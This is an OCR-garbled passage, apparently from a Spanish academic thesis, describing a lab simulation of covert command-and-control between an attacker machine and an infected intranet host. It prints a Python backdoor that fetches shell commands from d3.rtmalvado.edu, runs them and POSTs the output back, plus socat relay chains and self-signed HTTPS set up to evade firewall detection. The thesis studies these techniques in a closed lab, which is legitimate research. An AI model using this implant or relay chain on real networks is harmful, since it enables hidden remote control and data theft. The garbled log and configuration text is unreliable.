192.168.1.1:40622] mod dumpio: dumpio out (data-IMMORTAL): \x1f\x8b\b
[wed Jun ©1 13:59:22.877188 202 [dumpio:trace7] [pid 1934038] mod dumpio.c(58): [client
192.168.1.1:40622] mod dumpio: dumpio out (data-HEAP): 1020 bytes
[Wed Jun @1 13:59:22.877197 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(16@): [client
192.168.1.1:40622] mod dumpio: dumpio out (data-HEAP): \xadWm\x8f\xe2 ) \ 5\x9b\xeatRE®
\ \x8b\xba\xea™\» b4\ xe5\xae\xed " db\x13\xa (
cf\xcb3\xf3\xcc

mod_dumpio.c(58): [client
192.168.1.1:40622] mod dumpio: dumpio out (data-POOL): 8 bytes
[Wed Jun ©1 13:59:22.877219 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(160): [client
192.168.1.1:40622] mod dumpio: dumpio out (data-POOL): >G\xecl\xda\r

Figura 3.10: Contendido de fichero error.log en maquina atacante tras ejecucion del script en
la maquina infectada (1).

Tan solo interesan los registros en los que se muestra el contenido enviado por POST, es decir,
las lineas en las que aparecen las variables “contenido” y “resultado”.
En el caso de la anterior Figura (Figura , se puede ver en la linea 282 (Figura [3.11)):

[Wed Jun 01 13:59:22.876589 2022] [dumpio:trace7] [pid 1934038] mod dumpio.c(100): [client

192.168.1.1:40622] mod dumpio: dumpio in (data-HEAP)
contenido=1&resultado=%2Fhome%2Fusuario%2FEscritorio%eA

Figura 3.11: Contendido de error.log en maquina atacante tras ejecuciéon del script en la ma-
quina infectada (2).

De este registro tan solo interesa el contenido de la variable “resultado”; por lo que se utilizara
el lenguaje AWK para filtrar sobre el fichero y solamente obtener los caracteres tras dicha variable,
que se escribirdn en un archivo localizado en el Escritorio que se llamaré post-resultado.txt.
El comando a ejecutar es el siguiente:

awk '{if (/resultado=/) print substr($15, 23)} /var/log/apache2/error.log >>
/home/usuario/Escritorio/post-resultado.txt

Al ejecutar dicho comando se filtraran los registros del archivo error.log que contengan la
cadena de caracteres “resultado=" [49], y de dichos registro solo se obtendra la columna 15 (que
es la que contiene los valores de las variables pasadas por POST).

De esa columna solo se guardaran los caracteres a partir del 23 [48], que es el contenido como
tal, de la variable ‘resultado”.

Finalmente el contenido de post-resultado.txt, tras varias ejecuciones en la méaquina infectada
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solicitando los tres tipos de comandos que almacena el servidor web, sera el siguiente (Figura
3.12)):

%2Fhome%2Fusuario%2FEscritorio%eA
Fhome%2Fusuario%2FEscritorio%eA

%2Fhome%2Fusuario%2FEscritorio%eA

0

total+l

++2020+

7ll+ma;+31+19=3A14+ex0101t py .save%0A- rw-
++1+r00t++++root++++4?7+may+°1+19£3A14+Ex9101tApy.save.I%GA

-X++2+usuario+usuario++72+jun++1+13%3A58+ b
aii ++1+:oot++++root++++750+]un++1+ 3%3A58+exploit.
711+may+31+19 :3A14+exploit.py.save%0A-rw-r-
++1+r00t++++root++++477+may+31+19%3A14+exploit. py.save. 1%0A
2]
exploit.py++exploit.py.save++exploit.py.save.1%0A

exploit.py++exploit.py.save++exploit.py.save.1%0A

Figura 3.12: Contenido del archivo post-resultado.txt en maquina atacante con resultados de
ejecucion de comandos en la méaquina infectada.

En la Figura [3:12] se puede observar como entre cada muestra del resultado hay un 0. Esto
es porque la variable “resultado” tiene este valor por defecto cuando se hace la primera solicitud
POST en la primera fase del script, donde se envia el ntiimero de comando que se quiere obtener

(Apartado |3.3.2)).

También conviene senalar que los registros estén codificados como el valor de la URL donde, por
ejemplo, %2f es en realidad una barra inclinada (/). Para traducirlo se pueden usar convertidores
online como https://www.url-encode-decode.com /.

3.4. Comunicacién de maquinas con un solo intermediario

Una vez realizada la comunicacion entre las maquinas sin utilizar intermediarios y comproba-
da su funcionalidad, el siguiente paso consiste en introducir al menos una méquina intermedia
por la que pase la comunicacién entre atacante y victima. Dicha méaquina estara almacenada en
la red intermedia y su nombre de dominio es inter-07.inter.infor.uva.es.

n T mostrar nfiguracion maquina inter-07.inter.infor.uva.es
En este apartado se mostrara la configuracion de la mé a inter-07.int f

para que llegue a actuar como “cémplice” de la red atacante mediante el uso de comunicaciones
bidireccionales.

3.4.1. Configuraciéon de maquina intermedia inter-07

Como se ha senalado previamente, la maquina que actuard como intermediaria en la comuni-
cacion serd inter-07.inter.infor.uva.es, cuya direccion IP es 192.168.2.17.

Es importante recordar, llegados a este punto, lo que esta debe ser capaz de realizar:

= Mostrar el contenido del servidor web desplegado en kali-29.kali.infor.uva.es a intra-00.intra.
infor.uva.es.
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» Transmitir a kali-29.kali.infor.uva.es el contenido de los mensajes POST emitidos
por intra-00.intra.infor.uva.es.

Esté claro que va a ser necesario redirigir el trafico HT'TP, que es el que se da en la comunicacion,
para que pase por la maquina intermedia. Para ello se utilizard la herramienta socat cuya
finalidad no es més que la de transferir datos entre dos flujos de bytes bidireccionales establecidos,
que en este caso son los flujos de la red atacante y de la red victima. [50]

La estructura de socat es aparentemente sencilla, aunque se puede ir complicando segin se
incluyan més o menos opciones. Generalmente, se puede resumir en lo siguiente [51], [52]:

socat [opciones] <protocolo origen>:<ip origen>:<puerto origen> <protocolo
destino>:<ip destino>:<puerto destino>

Para el caso que se presenta, se debe permitir que todo el trafico que entre por el puerto 80 al
equipo con direccion IP 192.168.2.17 (trafico desde la maquina infectada), se envie al puerto 80
del equipo atacante (192.168.1.39), donde esta desplegado el servidor web que se va a utilizar.
El comando, finalmente, tendra el siguiente aspecto:

socat tcp-1:80,reuseaddr tcp:192.168.1.39:80

tcp-1:80 significa que la maquina intermediaria se pone en escucha desde el puerto 80 (tcp-1
significa tcp-listen).

reuseaddr se utiliza para permitir reutilizar el puerto después de la finalizacién de la ejecucion
de socat.

Y, por tltimo, tcp:192.168.1.39:80 indica el protocolo, la direcciéon y el puerto destino del
trafico que entre por el puerto 80 de la maquina intermediaria.

3.4.2. Pruebas de funcionamiento

Una vez introducido el comando anterior, se puede hacer una peticiéon cURL desde la maquina
infectada a la direccién de la maquina intermedia y devolvera el contenido del servidor web de

la maquina atacante (Figura [3.13):

root@intra-0e: /home/usuario# curl http://192.168.2.17

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml1-transitional.dtd"=>
<html xmlns="http://www.w3.0rg/1999/xhtmlL">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SERVIDOR KALI</title=>

Figura 3.13: Peticiéon cURL desde la maquina infectada a la maquina intermedia.

Como se puede ver en la Figura se hace una peticion HTTP a la direccién 192.168.2.17,
que es el equipo de la red intermedia. Si se observa la respuesta del servidor, se puede ver como el
titulo del c6digo HTML, subrayado en amarillo, es el del servidor web de kali-29.kali.infor.uva.es
ya visto anteriormente en pruebas sin intermediarios (Figura .

También se puede comprobar como en la direcciéon 192.168.2.17 ni siquiera esta levantado Apache,
como se puede ver en la Figura Por lo que la redireccién se esta realizando con éxito:
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root@inter-07: /home/usuario# service apache2 status

@ apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
Active: inactive (dead) since Thu 2022-86-82 13:39:14 CEST; 5 days ago

Docs: https://httpd.apache.org/docs/2.4/
Process: 596 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Process: 3255 ExecStop=/usr/sbin/apachectl stop (code=exited, status=0/SUCCESS)
Main PID: 678 (code=exited, status=8/SUCCESS)

Figura 3.14: Comprobacion de inactividad de Apache en intra-00.intra.infor.uva

3.4.3. Inclusiéon de maquinas intermedias en registros de dominio en el ser-
vidor DNS

Para evitar que en las peticiones HI'TP con la maquina intermedia se muestre la IP de esta
como sucedia en el punto anterior (Apartado , es conveniente utilizar el servidor DNS que
hay incluido en la red intermedia (dns.inter.infor.uva.es) para afiadir un nuevo nombre de
dominio que traduzca las direcciones de la red, cuya IP es 192.168.2.50.

En el servidor DNS se utiliza la herramienta bind para desplegar el servicio, por lo que para
anadir una nueva zona DNS se debe acceder al directorio /var/lib/bind/ y crear un archivo de
configuraciéon que contenga en el nombre el nuevo nombre de dominio precedido de un db.
Para el caso que se estudia se utilizara el nombre de dominio rtmalvado.edu, por lo que se debe
crear un archivo en el directorio con el nombre db.rtmalvado.edu. [53]

El contenido de este archivo (Figura[3.15)) sera el siguiente:

GNU nano 4.8 db.rtmalvado.edu

STTL 6048600 ;1 week
rtmalvado.edu IN SOA nsl.rtmalvado.edu. root.rtmalvado.edu.
; serial
refresh (1 week)
; retry (1 day)
2419200 ; expire (4 weeks)
604800 ; minimum (1 week)
)

NS nsl.rtmalvado.edu.

SORIGIN rtmalvado.edu.

STTL 604800 ;1 week

ns1 192.168.
d1

d2

d3

Figura 3.15: Contenido del fichero db.rtmalvado.edu en el servidor DNS
dns.inter.infor.uva.es

Como se puede observar en la Figura la configuracion del dominio es algo extensa. Pero
es importante sefialar que se ha elaborado tomando como base el fichero de configuracién por

defecto /etc/bind/db.local (Figura |3.16) [55]:
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db.local

GNU nano 4.8
; BIND data file for local loopback interface

ISTTL 604800
IN localhost. root.localhost.
2 ; Serial
604800 : Refresh
86400 ; Retry

2419280 ;: Expire
604800 ) ; Negative Cache TTL

localhost.
127.0.0.1
L)

Figura 3.16: Contenido del fichero db.local en el servidor DNS dns.inter.infor.uva.es

Lo primero que se ha realizado, ha sido sustituir el SOA, que viene en la parte superior, por
el nombre de dominio que se ha elegido de forma local (rtmalvado.edu). El contendido de dicho
apartado apenas se modifica, pues son parametros establecidos por defecto para la resolucién de
los nombres [53].

En cambio, lo que si se modifica son las tultimas lineas en las que se aniaden al dominio los re-
gistros de los dispositivos que se quieren resolver como se indica en las lineas subrayadas en la
Figura

Los dispositivos serén los correspondientes a las direcciones 192.168.2.15, 192.168.2.16 y 192.168.17:
d1, d2 y d3 respectivamente.

Una vez hecho esto, se comprueba que la sintaxis es correcta con el siguiente comando [53]:
named-checkzone rtmalvado.edu /etc/bind/db.rtmalvado.edu

Tras esto, el siguiente paso consistird en editar el archivo en el que se establecen todas las
zonas DNS existentes en el servidor, para incluir una nueva. Este archivo esta en el directorio
/etc/bind/ y se denomina mis-zonas. Aqui, copiando el formato del resto de zonas declaradas,
se incluye la propia para rtmalvado.edu. Contiene lo siguiente (Figura :

zone "rtmalvado.edu™ {
type master;
file "/var/lib/bind/db.rtmalvado.edu”;

allow-update { any; };

Figura 3.17: Establecimiento de nueva zona para el dominio rtmalvado.edu en el servidor DNS
dns.inter.infor.uva.es

Como se puede ver en la Figura en el establecimiento del nuevo dominio se debe indicar
a que archivo de configuracion debe apuntar este, que no es méas que el que se ha editado en
pasos anteriores.

Por tltimo, se procede a anadir el servidor DNS, como nuevo servidor de resoluciéon de nombres
en la maquina infectada de la intranet (intra-00.intra.infor.uva.es). Para ello, se debe
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acceder al fichero /etc/resolv.conf en dicha maquina y afiadir la linea server 192.168.2.50

(Figura |3.18) [54]:

GNU nano 4.8 etc/resolv.conf

nameserver 127.0.0.53
options edns® trust-ad
search intra.infor.uva.es

nameserver 192.168.2.50

Figura 3.18: Adicién del servidor DNS de la red intermedia, como servidor de resolucion de
nombres de dominio en la maquina infectada de la intranet.

Una vez hecho esto, se puede realizar un nslookup sobre cualquiera de las direcciones que se
acaban de establecer en el servidor DNS (Figura [3.19)), y se puede comprobar como se traduce
correctamente a la direccién IP de una de las maquinas de la red intermedia:

root@intra-00: /home/usuario# nslookup d3.rtmalvado.edu
Server: 127.6.8.53
Address: 127.0.0.53#53

Non-authoritative answer:
d3.rtmalvado.edu
: 192.168.2.17

Figura 3.19: Resolucion de direcciones de la red intermedia desde maquina infectada en la intranet
de la red victima.

3.4.4. Modificacion de script de comunicacién en maquina infectada

Tras haber comprobado que el trafico HIT'TP se esté redirigiendo correctamente y que el
servidor DNS de la red intermedia traduce direcciones en la maquina infectada de la red victima,
el siguiente paso debe ser modificar el script elaborado para la comunicacién entre atacante
y victima (Apartado , de manera que en las lineas que se hace referencia a la direccién
192.168.1.39, ahora se haga referencia a la direccion 192.168.2.17, o sea, a d3.rtmalvado.edu,
que es donde se ha establecido la redireccién con socat en el Apartado

El co6digo Python quedaria como se muestra a continuacion:
import time

import requests
from bs4 import BeautifulSoup

44



0 N o o A

10
11
12
13
14
15
16

17
18
19

20
21
22

import sys
import subprocess

while True:

#Se envia peticion al servidor web con la opcion del comando que
quiere ejecutar y se recoge la respuesta

params = {'contenido':sys.argv[1l], 'resultado':0}

resp = requests.post('http://d3.rtmalvado.edu/', data = params)

bs = BeautifulSoup(resp.text, "html.parser")

comando = bs.body.div.div.span.text

print ("Respuesta: " + comando)

time.sleep (2)

#Se ejecuta el comando en local y se envia el resultado al
servidor

resultado = subprocess.check_output (comando, shell=True)

params2 = {'contenido':sys.argv[1], 'resultado':resultado}

resp2 = requests.post('http://d3.rtmalvado.edu/', data = params2

)
bs2 = BeautifulSoup(resp2.text, "html.parser")
print (bs2.body.div)
time.sleep (5)

3.5. Comunicacién de maquinas con varios intermediarios

Conseguida la comunicaciéon con uno solo de los dispositivos de la red intermedia, ahora se
actualizara dicha comunicacién para que pase por todas las méquinas de dicha red y asi, ni desde
el emisor del mensaje, ni desde el receptor del mismo, se puede detectar de donde proviene este.

Ademaés de esto, también se actualizara el protocolo de comunicaciéon al servidor web, de HTTP
a HTTPS para conseguir que el contenido transmitido por POST desde el PC en la red victima
a las méaquinas intermedias, no se pueda descifrar y asi evitar que el firewall detecte anomalias.

3.5.1. Riesgo de uso de socat y propuesta de solucién

Como se ha visto en el Apartado [3.4.1] hasta el momento solo existe una maquina intermedia
y en esta, simplemente, se esté redirigiendo el trafico entre las redes victima y atacante con la
herramienta socat, para que desde la intranet de la red victima no se pueda rastrear la maquina
final desde la que se reciben y hacia la que se envian peticiones HTTP.

Usar esta técnica resulta efectivo en primeros términos, pero si lo analizamos detenidamente
podemos encontrar varias desventajas y riesgos de ser detectados por el presunto firewall que se
pueda colocar entre la red victima y la red intermedia:

» Socat crea procesos hijo por cada conexion (forks), por tanto, permite varias conexiones,
pero si se realizan muchas, inunda la maquina de procesos.

= Es necesario de una disponibilidad cercana al 100 % de la maquina que tenga abierto el
tunel socat.
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= Tener abierto socat durante un largo periodo de tiempo y utilizarlo a menudo, puede
levantar sospechas y llegar a ser significativo para el firewall.

= La comunicacion entre intra-00 e inter-07 no esta cifrada al usar el protocolo HTTP,
por lo el firewall podria descubrir el contenido de los POST entre ambas.

Analizando todo esto, se decide, para aumentar las posibilidades de indetectabilidad, desplegar
un servidor web en inter-07 que almacene lo que hasta ahora tenia el servidor web en kali-29,
por lo tanto, se hard una migraciéon de este.

Asi se evitara utilizar socat entre red victima y red intermedia, de manera que se simulara que
el punto final de la comunicacién es la méaquina intermedia.

Para la migracion se vuelven a realizar los pasos descritos en los Apartados y

3.5.2. Configuracion de HTTPS con certificado valido en inter-07

Una vez realizada la migracién, la maquina intermedia es la encargada de recolectar los men-

sajes POST enviados desde la maquina infectada en un fichero llamado post-temporal.txt, y
también es la encargada de aportar los comandos a ejecutar a dicha maquina.
Pero ain sigue existiendo un problema que significaria el cierre de la conexién por parte del fire-
wall, y este es que se sigue utilizando el protocolo HT'TP, por lo que el contenido de las variables
POST esta en claro y sin cifrar. Asi, en este paso se estudiard la implementacion de HTTPS
sobre el servidor web, creando una autoridad certificadora (CA) y utilizandola para generar un
certificado firmado siguiendo el tutorial de https://sandilands.info/sgordon /| [56].

» Creacion de CA (Autoridad Certificadora)

Es importante tener en cuenta que, al estar sobre una simulacion, se puede crear y utilizar
una Autoridad de Certificacién propia utilizando la herramienta OpenSSL. No sucederia
lo mismo en un entorno real donde se deberia utilizar una organizaciéon como CA.

Para ello, en primer lugar, se abre el directorio que OpenSSL usa, por defecto, para alma-
cenar archivos y directorios (/usr/1lib/ssl). Sobre este se crea el subdirectorio demoCA/
en donde se deben almacenar, a su vez, tantos directorios como los indicados por el archivo

de configuracion de OpenSSL (openssl.cnf) (Figura [3.20):
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. fdemoCA Where everything is kept
Sdir/certs Where the issued certs are kept
Sdirjcrl Where the issued crl are kept
Sdir/index. txt database index file.

_dir
database

new_certs_dir $dir/newcerts default place for new certs.
certificate Sdir/certificado.penm The CA certificate

serial Sdir/serial The current serial number
crilinumber $dir/crlinumber # the current crl number

crl sdir/crl.pem # The current CRL
private_key Sdir/private/claveprivada.pem # The private key

x509_extensions = usr_cert # The extensions to add to the cert

Figura 3.20: Directorios y archivos que deben existir por defecto en el directorio donde se des-
plegara la CA.

Se crean dichos subdirectorios con los ficheros correspondientes, y a partir de entonces se
trabajara sobre ellos.

En el subdirectorio private/ se generara una clave privada cifrada con RSA. Esto permitira
que la CA que se despliegue tenga su propio certificado autofirmado. Para generar la clave
privada se utiliza openssl y los siguientes parametros:

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -pkeyopt
rsa_keygen_pubexp:65537 -out claveprivada.pem

Como se puede ver se genera una clave privada de 2048 bits que se llamara claveprivada.pem.
Una vez hecho esto, la clave privada se podra utilizar inmediatamente para crear la solici-
tud de certificado autofirmado para la CA. Se vuelve a utilizar openssl con los siguientes
parametros:

openssl req -new -x509 -key private/claveprivada.pem -out certificado.pem
-days 1095

Tras la ejecuciéon del comando se solicitardn algunos valores para completar la solicitud.

Solo se introduciran: el nombre del pais (dos primeras letras), nombre de la comunidad
autonoma y nombre del dominio en el que se quiere utilizar dicho certificado (Figura [3.21)):
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root@inter-87:/usr/lib/ssl/demoCA/private# openssl req -new -x589 -key claveprivada.pem -out certificado.pem -days 1095
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
'.', the field will be left blank.
Country Name (2 letter code) [AU]:ES
State or Province Name (full name) [Some-State]:Castilla y Leon
Locality Name (eg, city) []:
Organization Mame (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:d3.rtmalvado.edu
Email Address []:
root@inter-07:/usr/lib/ssl/demoCA/private# I

Figura 3.21: Contenido de la solicitud de autofirma del certificado para la Autoridad Certifica-
dora.

s Creacion de certificado para el servidor web

Para este paso también se debe generar una clave privada que se volveré a cifrar con RSA y
que tendra también una longitud de 2048 bits. Eso si, esta vez, al ser dirigida al servidor, se
llamaré con el nombre de dominio al que ha sido asignado: privkey-d3.rtmalvado.edu.pem.
El comando seria el siguiente:

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -pkeyopt
rsa_keygen_pubexp:65537 -out privkey-d3.rtmalvado.edu.pem

Tras esto, se solicitard un certificado como en el anterior paso, solo que en este caso se
guardara con extension .csr [57]:

openssl req -new -key privkey-d3.rtmalvado.edu.pem -out
certreq-d3.rtmalvado.edu.csr -extensions v3_req -config openssl.cnf

Se solicitara completar algunos parametros para completar la solicitud. Se rellenan con los
mismos valores que cuando se hizo el mismo paso con la CA.

Una vez obtenida la solicitud de certificado, es momento de pedir a la CA, configurada
pasos atras, que la firme. Para ello se introduce el siguiente comando que deberéa devolver
dicho certificado firmado [57]:

openssl ca -in certreq-d3.rtmalvado.edu.csr -out cert-d3.rtmalvado.edu.crt
-extensions v3_req -extfile v3.cnf

Tras la ejecucion del comando se pedira confirmacién para la firma tal y como se muestra

en la Figura
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root@inter-07: /usr/lib/ssl# openssl ca -in certreq-d3.rtmalvade.edu.csr -out cert-d3.rtmalvado.edu.pem -extensions v3_req -extfile v3.cnf
Using configuration from fusr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:

Serial Number: 4 (0x4)

validity

Not Before: Jun 20 18:1 1 2022 GMT

Not After : D 18:17: 2023 GMT
Subject:

ES

Castilla y Leon

Internet Widgits Pty Ltd
d3.rtmalvado.edu

countryName
stateOrProvinceName
organizatienName
commonName
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:d3.rtmalvado.edu
Certificate is to be certified until Jun 20 18:17:21 2823 GMT (365 days)
Sign the certificate? [y/n]:y

Figura 3.22: Firma de certificado para el servidor web por parte de la CA creada.

= Habilitar HTTPS en Apache

Una vez creado el certificado para el servidor web, este se debe colocar junto al certificado
de la CA (certificado.pem) en la ruta que indica el fichero de configuracion de Apache:
/etc/ssl/certs.

También se debe almacenar la clave privada del certificado, generada pasos atrés, en una
ruta accesible: /etc/ssl/private.

Ahora es necesario modificar el archivo de configuracién SSL en Apache
(/etc/apache2/sites-available/default-ssl.conf) para que apunte al certificado tal
y como se ve en la Figura[3.23] Se debe introducir, al inicio del archivo, la linea: ServerName
d3.rtmalvado.edu:443.

También se incluyen tres lineas encargadas de senalar donde estédn almacenados el certifi-
cado, la clave del mismo y el certificado de la CA:

SSLCertificateFile /etc/ssl/certs/cert-d3.rtmalvado.edu.pem
SSLCertificateKeyFile /etc/ssl/private/privkey-d3.rtmalvado.edu.pem
SSLCACertificateFile /etc/ssl/certs/certificado.crt
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ServerAdmin webmaster@
ServerName d3.rtmal

DocumentRoot [var /www/html

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog S{APACHE_LOG_DIR}/access.log combined

SSLEngine on

pem
edu.pemn

DumpIOInput On

DumpIOOutput On
LoglLevel dumpio:trace7

certificado.crt

Figura 3.23: Modificacién del archivo de configuraciéon de SSL en Apache.

Por ultimo, se habilita el médulo SSL (a2enmod ssl y a2ensite default-ssl), si no se
habia hecho anteriormente, y se reinicia Apache.

Incluir certificado de la CA en las maquinas vicitma y atacante.

Ahora se podria acceder desde cualquier méaquina al servidor web de forma segura, pero
saltarfa un “warning”, pues los clientes atin no confian en la CA que firmé el certificado
(Figura , por lo que el dltimo paso consiste en agregar dicho certificado en la lista de
certificados en los que confian las maquinas intra-00 y kali-29.

50



/home/usuario

certificate in certificate chain

could

Figura 3.24: Aviso de problema con la conexién desde un cliente hasta el servidor web.

Para ello, en primer lugar, se debe obtener el certificado de la CA (certificado.crt) del
servidor web (IP 192.168.2.17) por medio del comando scp:

scp 192.168.2.17:/etc/ssl/certs/certificado.crt

Una vez con este en local, se debe mover a la carpeta /usr/share/ca-certificates, y se
crea un subdirectorio para separarle del resto de certificados que se llamara serverweb/.
Tras ello, para que la importacion del certificado de la CA sea definitiva, se aplica el
comando dpkg-reconfigure ca-certificates que permitira la actualizacion del almacén
de los mismos.

Se mostrara en la consola una nueva pantalla (Figura en la que se debe confirmar
que se confia en los nuevos certificados:

Configuracion de paguetes

{ Configuracion de ca-certificates |
Este paquete puede que instale nuevos certificados de CA (Autoridad Certificadora) al actualizarse.
Quizas quiera comprobar esos nuevos certificados CA y seleccionar solo los certificados en los que
confie.

- si: se confiarad en los nuevos certificados de CA y se instalaran.
- no: los nuevos certificados de CA no se instalaran por omision.
- preguntar: se hara la pregunta para cada nuevo certificado de CA.

;Desea confiar en los nuevos certificados de las autoridades de certificacion?

no
preguntar

<Aceptar>

Figura 3.25: Configuracion de ca-certificates (1).

Tras confirmar la confianza en el nuevo certificado en la anterior pantalla, se muestra una
nueva (Figura en la que se pueden apreciar todos los certificados almacenados en la
ruta /etc/ssl/certs. Todos ellos tienen a su izquierda un asterisco entre dos corchetes,
que indica que estan activos.

Se debe buscar el anadido recientemente (serverweb/certificado.crt) y anadirle tam-
bién dicho asterisco pulsando la barra de Espacio en el teclado:
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onfiguracion de paguetes

{ Configuracion de ca-certificates |
Este paquete instala certificados comunes de CA (Autoridad Certificadora) en
/usr/share/ca-certificates.

Escoja las autoridades de certificacion en las que confia para instalarlas en «/etc/ssl/certs». Se
incluiran todas en un dnico archivo «/etc/ssl/certs/ca-certificates.crt».

Certificados a activar:

mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt
mozilla/TWCA_Global_Root_CA.crt
mozilla/TWCA_Root_Certification_Authority.crt
mozilla/UCA_Extended_Validation_Root.crt
mozilla/UCA_Global_G2_Root.crt

mozilla/USERTrust_ECC_Certification_Authority.crt
mozilla/USERTrust_RSA_Certification_Authority.crt
mozilla/XRamp_Global_CA_Root.crt
serverweb/certificado.crt

<Aceptar>

Figura 3.26: Configuracion de ca-certificates (2).

Una vez completada la configuracion, sin necesidad de reinicio, se puede hacer ya una
peticion HTTPS al servidor web sin que surja ningun tipo de problemas (Figura [3.27):

/usr/share/ca-certificates/serverweb
http rtmalvado.edu

PE html PUBLIC D XHTML 1.@ Transition: A v rg/TR/xhtml11/D xhtml1l-tran
dtd”

body, html
paddi

Figura 3.27: Solicitud HT'TPS al servidor web desplegado en la red intermedia.

Es importante no olvidarse de modificar el script en la méquina infectada a través del
que se realiza la comunicacion con el servidor web (Apartado . A partir de ahora
las peticiones POST se realizaran al mismo nombre de dominio, pero usando el protocolo
HTTPS.

Por lo que en las lineas 10 y 19, en el primer pardmetro de request.post, debe cambiarse
la direccion de http://d3.rtmalvado.edu/ a https://d3.rtmalvado.edu/

3.5.3. Inclusiéon de dos maquinas intermedias en la comunicaciéon

Una vez logrado que la comunicacién entre cliente y servidor web sea cifrada, el firewall o
cualquier rastreador de trafico en la red victima, seré, casi con total seguridad, incapaz de de-
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tectar anomalias en el contenido de los mensajes POST.

Aun asi, sigue siendo inseguro que el servidor web se comunique directamente desde la red in-
termedia con la méquina atacante, y sobre todo, que el usuario de la intranet se comunique
frecuentemente con la misma direccion.

Para solucionar el primero de los problemas se proceder4 a incluir dos méaquinas nuevas en la
red intermedia, de manera que, todo el trafico que pase desde el servidor web hasta la maquina
atacante, previamente pasara por ellas. De forma que, si se llega a rastrear el trafico de peticiones
desde el servidor web, solo se encontrard como destino la maquina de la intranet, o una de las
méquinas de la red intermedia. Asi, en ningtin momento se desvelara la IP de la maquina Kali.

A continuacion (Figura|3.28)) se puede ver un diagrama que muestra el flujo de trafico planteado:

PC Kali
(kali-29 . kali.infor.uva.es)
\ PC Infectado

= (intra-00.intra.infor.uva.es)

Figura 3.28: Diagrama del curso de la comunicacién a través de las maquinas disponibles en el
entorno.

Para utilizar dichas maquinas se volveré a usar en ambas la herramienta socat, como se hizo
en el Apartado para que se transfiera el flujo de datos recibido hacia otra direccién.

Como se observa en la Figura [3.28 en la comunicacién desde Kali hacia el PC Infectado, el
trafico se haré pasar, en primer lugar, por inter-06, para que después dé el salto a inter-05y
desde aqui a inter-07, a la que ya puede acceder la méquina infectada sin levantar sospechas.

Para que la comunicacién se suceda como lo planeado se deben introducir los siguientes comandos
en las maquinas:

» inter-05 — socat tcp-1:80,fork,reuseaddr tcp:192.168.2.16:80

= inter-06 — socat tcp-1:80,fork,reuseaddr tcp:192.168.1.39:80

Con estos comandos tan solo se permite la comunicacion desde inter-07 hasta kali-29 uti-
lizando el puerto 80, que es el que habitualmente usaria el servidor web como puerto HTTP,
pero que en ese caso se le puede dar uso dado que ninguna de las dos méaquinas tiene activo este
protocolo.

Para que el proceso cuente con una comunicacién bidireccional, ademés de los senalados, se
deben incluir nuevos comandos socat en las maquinas para abrir un tinel de ida y otro de vuelta.
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Se debe lograr que si la maquina Kali envia una peticién a inter-06 llegue a inter-07 (donde
se almacena el servidor web), pasando previamente por inter-05.

Los comandos para lograrlo serian:

= inter-05 — socat tcp-1:81,fork,reuseaddr tcp:192.168.2.17:80

» inter-06 — socat tcp-1:81,fork,reuseaddr tcp:192.168.2.15:81

Como se puede ver, es necesario usar el puerto 81 para estas redirecciones, pues el puerto
80 ya esté siendo utilizado en las anteriores. Por lo tanto, si se quiere enviar una peticién web
hacia inter-07, se podria realizar haciendo lo propio hacia el puerto 81 de la maquina inter-06.

En principio, las redirecciones seran estéaticas, pero se podria plantear hacerlas dindmicas para
que, cada vez que se realice una peticiéon, cambie el destino de los saltos entre dispositivos que
se suceden durante la comunicacién, sin que ni emisor, ni receptor noten la diferencia.

Para comprobar que las redirecciones estan funcionando, en primer lugar se despliega un ser-
vidor web en la maquina Kali que mostrara en la pagina web principal una etiqueta <title>
dentro de la cabecera indicando que se trata del servidor Kali.

Después se modifica el <title> de la cabecera del servidor web ya desplegado en inter-07,
indicando que se trata del servidor intermedio.

Una vez hecho esto, se lanzara una peticién por el puerto 80 desde inter-07 hacia la primera méa-
quina intermedia por la que se ha configurado que se desviara el trafico (Figura[3.30): inter-06,
con IP 192.168.2.16 y que tiene asignado como nombre de dominio d2.rtmalvado.edu (Figura
3.29)):

:~$ nslookup d2.rtmalvado.edu
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
Name: d2.rtmalvado.edu
Address: 192.168.2.16

Figura 3.29: Peticion de resolucion DNS sobre la direcciéon d2.rtmalvado.edu.
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:~$ curl d2.rtmalvado.edu

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SERVIDOR KALI</title>
<style type="text/css" media="screen">

margin: Opx Opx Opx Opx;
padding: Opx Opx Opx Opx;
}

body, html {
padding: 3px 3px 3px 3px;

background-color: #DB8DBE2;
font-family: Verdana, sans-serif;

font-size: 11pt;
text-align: center;

Figura 3.30: Peticion CURL hacia méquina intermedia d2.rtmalvado.edu que se resuelve con
respuesta desde el servidor web de la maquina Kali.

Como se puede apreciar, la respuesta a la peticion es la esperada y, por lo tanto, es cierto que
la comunicacién esta pasando por varios dispositivos.

Ahora se procede a comprobar que la comunicacion desde la maquina Kali hacia el servidor
web desplegado en inter-07 se realiza también por medio de intermediarios. Para ello se realizara
una peticion al puerto 81 de la maquina intermedia inter-06 (Figura con IP 192.168.2.15
y nombre de dominio d1.rtmalvado.edu (Figura [3.31)):

/home/usuario/Escritorio
kup dl.rtmalvado.edu
Server: 192.168.2.50
Address: 192.168.2.50#53

